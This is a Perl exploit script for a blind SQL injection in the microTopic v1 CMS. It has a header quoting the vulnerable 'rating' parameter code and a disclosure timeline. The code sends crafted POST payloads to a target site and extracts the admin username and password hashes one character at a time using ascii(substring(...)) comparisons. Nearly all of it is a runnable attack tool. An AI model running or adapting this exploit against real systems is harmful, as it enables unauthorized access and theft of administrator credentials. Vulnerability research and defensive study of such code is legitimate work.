#!/usr/bin/perl
#---------------------------------------------------------------------------
#(POST var 'rating') BLIND SQL INJECTION--microTopic v1 Initial Release-->
#---------------------------------------------------------------------------
#
#CMS INFORMATION:
#
#-->WEB: http://sourceforge.net/projects/microtopic/
#-->DOWNLOAD: http://sourceforge.net/projects/microtopic/
#-->DEMO: N/A
#-->CATEGORY: CMS / Portal
#-->DESCRIPTION: Simple News / Opinion site with page ranking Lightweight at ~ 200kb
#     Secure - Hashed challenge/response login Flexible...
#
#CMS VULNERABILITY:
#
#-->TESTED ON: firefox 3.0.10
#-->DORK: "N/A"
#-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT
#-->AFFECT VERSION: v-1
#-->Discovered Bug date: 2009-05-08
#-->Reported Bug date: 2009-05-08
#-->Fixed bug date: 2009-05-10
#-->Info patch (v1.01): http://sourceforge.net/projects/microtopic/
#-->Author: YEnH4ckEr
#-->mail: y3nh4ck3r[at]gmail[dot]com
#-->WEB/BLOG: N/A
#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
#
#------------
#VULN FILES:
#------------
#
#Path --> [HOME_PATH]/admin/utopic.php
#
#It contents:
#
#   $query="SELECT UNIX_TIMESTAMP(max(datum)) FROM {$my_table}_ip WHERE id='$_POST[rating]'
#           AND ip='$_SERVER[REMOTE_ADDR]'";
#   $sql=SendSQL($query);
#
#Path --> [HOME_PATH]/admin/mysql.php
#
#It contents:
#
#function SendSQL($query){
#   $sql=mysql_query($query) or die("CANNOT ".$query);
#   return $sql;
# }
#
#------------
#CONDITIONS:
#------------
#
#
#**magic quotes=off
#
#
#######################################################################
#######################################################################
##*******************************************************************##
##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!  ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
##   GREETZ TO: JosS, Ulises2k and all SPANISH Hack3Rs community!    ##
##*******************************************************************##
#######################################################################
#######################################################################
#
#-------------------EOF---------------------------------->>>ENJOY IT!
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
  my $SO = $^O;
  my $linux = "";
  if (index(lc($SO),"win")!=-1){
    $linux="0";
  }else{
    $linux="1";
  }    
  if($linux){
    system("clear");
  }
  else{
    system("cls");
    system ("title microTopic v1 Initial Release (POST var 'rating') BLIND SQL Injection Exploit");
    system ("color 02");
  }
}
sub request {
  my $userag = LWP::UserAgent->new;
  $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
  my $request = HTTP::Request -> new(POST => $_[0]);
  $request->content_type('application/x-www-form-urlencoded');
  $request->content($_[1]); 
  my $outcode= $userag->request($request)->as_string;
  return $outcode;
}
sub helper {
  print "\n\t[XxX] microTopic v1 Initial Release (POST var 'rating') BLIND SQL Injection Exploit\n";
  print "\t[XxX] USAGE MODE: [XxX]\n";
  print "\t[XxX] perl $0 [HOST] [PATH] [topic]\n";
  print "\t[XxX] [HOST]: Web.\n";
  print "\t[XxX] [PATH]: Home Path. Not path: no-path\n";
  print "\t[XxX] [topic]: Valid topic. Opt: 1,2,3,4\n";
  print "\t[XxX] Example: perl $0 'www.example.es' 'microtopic' '1'\n"; 
}
sub error {
  print "\t-----------------------------------------------------------------\n";
  print "\tWEB IS NOT VULNERABLE!\n";
  print "\tMaybe --> \n";
  print "\t1.-Patched\n";
  print "\t2.-topic doesn't exist\n";
  print "\t3.-Magic quotes ON\n";
  print "\tEXPLOIT FAILED!\n";
  print "\t-----------------------------------------------------------------\n";
}
sub testedblindsql {
  print "\t-----------------------------------------------------------------\n";
  print "\tWEB IS VULNERABLE!\n";
  print "\tTested Blind SQL Injection.\n";    
  print "\tStarting exploit...Waiting...\n"; 
  print "\t-----------------------------------------------------------------\n";
}
sub exploit {
my $result="";
$k=1;
  $z=48;
  while(($k<=32) && ($z<=126)){
    $blindsqlpost="rate=1&rating=".$_[1]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+utopic_login+WHERE+loginid=1),".$k.",1))='".$z."&postedcounter=1&action=doit";
    $output=&request($_[0],$blindsqlpost);
    if ( $output =~ (/\<\/head\>\<body\>/))
    {
      $result=$result.chr($z);
      $k++;
      $z=47;
    }
  if($z==57)
  {
    $z=96;
  }
#new char
  $z++; 
  }
return $result;
}
#Main
&lw;
  print "\t\t#########################################################\n\n";
  print "\t\t#########################################################\n\n";
  print "\t\t##   microTopic v1 Initial Release - BSQLi Exploit     ##\n\n";
  print "\t\t##                  Author: Y3nh4ck3r                  ##\n\n";
  print "\t\t##             Condition: magic quotes=off             ##\n\n";
  print "\t\t##         Contact:y3nh4ck3r[at]gmail[dot]com          ##\n\n";
  print "\t\t##                  Proud to be Spanish!               ##\n\n";
  print "\t\t#########################################################\n\n";
  print "\t\t#########################################################\n\n";
#Init variables
  my $host=$ARGV[0];
  my $path=$ARGV[1];  
  my $topic=$ARGV[2];
#Build the uri
  if($path eq "no-path"){
    $finalhost="http://".$host."/index.php?topic=".$topic;
  }else{
    $finalhost="http://".$host."/".$path."/index.php?topic=".$topic;
  }
#Check all variables needed
$numArgs = $#ARGV + 1;
  if($numArgs<=2) 
  {
    &helper;
    exit(1);  
  }
$finalrequest = $finalhost;  
#Testing blind sql injection
$blindsqlpost="rate=1&rating=".$topic."'+AND+1='0&postedcounter=1&action=doit"; #blind sql injection
$output=&request($finalrequest,$blindsqlpost);
if ( $output !~ (/\<\/head\>\<body\>/))
{    
  #blind sql injection is available
  &testedblindsql;
}else{ 
  #Not injectable
  &error;
  exit(1); 
}  
#Bruteforcing user...
$usernamehash=&exploit($finalrequest,$topic,'username');
#Bruteforcing pass...
$passhash=&exploit($finalrequest,$topic,'password');
print "\n\t\t*************************************************\n";
print "\t\t****     EXPLOIT EXECUTED WITH SUCCESS       ****\n";
print "\t\t*************************************************\n\n";
print "\t\tUsername(md5 hash):".$usernamehash."\n";
print "\t\tPassword(md5 hash):".$passhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done